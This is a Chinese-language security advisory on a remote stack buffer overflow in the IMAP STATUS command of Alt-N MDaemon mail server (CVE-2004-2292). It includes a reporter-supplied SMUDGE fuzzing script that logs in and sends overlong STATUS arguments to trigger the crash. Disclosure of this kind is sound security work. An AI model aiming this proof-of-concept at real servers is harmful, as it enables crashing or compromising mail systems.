安全研究

安全漏洞
Alt-N MDaemon远程STATUS命令远程缓冲区溢出漏洞

发布日期:2004-05-17
更新日期:2004-05-21

受影响系统:
Alt-N MDaemon 6.8.5
Alt-N MDaemon 6.8.4
Alt-N MDaemon 6.8.3
Alt-N MDaemon 6.8.2
Alt-N MDaemon 6.8.1
Alt-N MDaemon 6.8.0
Alt-N MDaemon 6.7.9
Alt-N MDaemon 6.7.5
Alt-N MDaemon 6.5.0
Alt-N MDaemon 6.0.7
Alt-N MDaemon 6.0.6
Alt-N MDaemon 6.0.5
Alt-N MDaemon 6.0.0
Alt-N MDaemon 5.0.7
Alt-N MDaemon 3.5.6
Alt-N MDaemon 3.5.4
Alt-N MDaemon 3.5.1
Alt-N MDaemon 3.5.0
Alt-N MDaemon 3.1beta
Alt-N MDaemon 3.1.2
Alt-N MDaemon 3.1.1
Alt-N MDaemon 3.0.4
Alt-N MDaemon 3.0.3
Alt-N MDaemon 2.8.50
Alt-N MDaemon 2.8
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 SP3
描述:
BUGTRAQ  ID: 10366
CVE(CAN) ID: CVE-2004-2292

Alt-N MDaemon是一款基于Windows的邮件服务程序。

Alt-N MDaemon的IMAP组件处理STATUS命令时对参数缺少充分边界检查,远程攻击者可以利用此漏洞对服务程序进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。

攻击者以合法帐号登录到服务后后,发送包含超长参数的STATUS命令给IMAP组件处理,可发生基于堆栈的缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。

<*来源:ned (nd@felinemenace.org
  
  链接:http://lists.netsys.com/pipermail/full-disclosure/2004-May/021279.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

ned (nd@felinemenace.org)提供了如下测试方法:

# overflow is in the IMAP status command
# scroll down to find it.
from SMUDGE import *
sm = SMUDGE(1)

sm.setname("imap")

#sm.plain("0000 CAPABILITY");
#sm.newreq()

sm.plain("0001 LOGIN \"");
sm.plain("nd");
sm.plain("\" \"");
sm.plain("hellhell");
sm.plain("\"");
sm.newreq()

sm.plain("0002 EXAMINE \"");
sm.plain("aaa");
sm.plain("\"");
sm.newreq()

sm.plain("0003 SELECT \"");
sm.plain("Inbox");
sm.plain("\"")
sm.newreq()

sm.plain("A003 CREATE ");
sm.plain("owatagusiam/");
sm.newreq()

sm.plain("A004 LIST \"");
sm.plain("");
sm.plain("\" ");
sm.plain("*");
sm.newreq()

sm.plain("A005 RENAME ");
sm.plain("INBOX");
sm.plain(" ");
sm.plain("OLD-MAIL");
sm.newreq()

sm.plain("A006 SUBSCRIBE #");
sm.plain("news.comp.mail.mime");
sm.newreq()

sm.plain("A007 UNSUBSCRIBE #");
sm.plain("news.comp.mail.mime");
sm.newreq()

sm.plain("A008 LIST ~");
sm.plain("");
sm.plain(" ");
sm.plain("%");
sm.newreq()

sm.plain("A009 LSUB \"");
sm.plain("");
sm.plain("\" \"");
sm.plain("bob.*");
sm.plain("\"");
sm.newreq()

# MDAEMON 7.01 STACK OVERFLOW
sm.plain("A010 STATUS ");
sm.string("blurdybloop");
sm.plain(" (");
sm.string("UIDNEXT");
sm.plain(" MESSAGES)");
sm.newreq()

sm.plain("A011 APPEND ");
sm.plain("blurdybloop");
sm.plain(" (\\");
sm.plain("Seen");
sm.plain(")");
sm.plain(" {");
sm.plain("0");
sm.plain("}");
sm.newreq()

#A654 FETCH 2:4 (FLAGS BODY[HEADER.FIELDS (DATE FROM)])
sm.plain("A012 FETCH ");
sm.plain("2");
sm.plain(":");
sm.plain("2");
sm.plain(" (");
sm.plain("FLAGS");
sm.plain(" ");
sm.plain("BODY");
sm.plain("[");
sm.plain("HEADER");
sm.plain(".");
sm.plain("FIELDS");
sm.plain(" (");
sm.plain("DATE");
sm.plain(" FROM)])");
sm.newreq()

sm.plain("A013 UID ");
sm.plain("FETCH");
sm.plain(" ");
sm.plain("4827313");
sm.plain(":");
sm.plain("4827313");
sm.plain(" ");
sm.plain("FLAGS");
sm.newreq()

sm.run("127.0.0.1",143,"bottomup","multiple","yes")

建议:
厂商补丁:

Alt-N
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://mdaemon.deerfield.com/

浏览次数:3963
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障